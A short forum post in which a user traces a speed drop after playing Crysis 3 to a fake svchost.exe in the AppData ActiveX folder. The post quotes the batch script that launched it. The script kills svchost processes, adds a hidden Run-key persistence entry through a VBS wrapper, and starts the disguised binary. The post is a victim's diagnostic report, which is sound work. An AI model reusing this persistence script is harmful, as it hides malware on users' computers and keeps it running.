Speed drop after playing game (Crysis3)

[viktorx]

Found a solution to my problem. Something was loading process svchost.exe *32 (user process) which was located in %appdata%\ActiveX\svchost.exe. As soon as I killed it speed was back to normal. This is the script that was loading at system start:

@echo off
%windir%\system32\taskkill.exe /im svchost.exe
%windir%\system32\reg.exe add HKCU\software\microsoft\windows\currentversion\run /v ActiveXService /d "wscript \"%appdata%\ActiveX\invis.vbs\" \"%appdata%\ActiveX\svchost.exe\"" /f
start /b "a" "%appdata%\ActiveX\svchost.exe"

I'm still investigating what created this...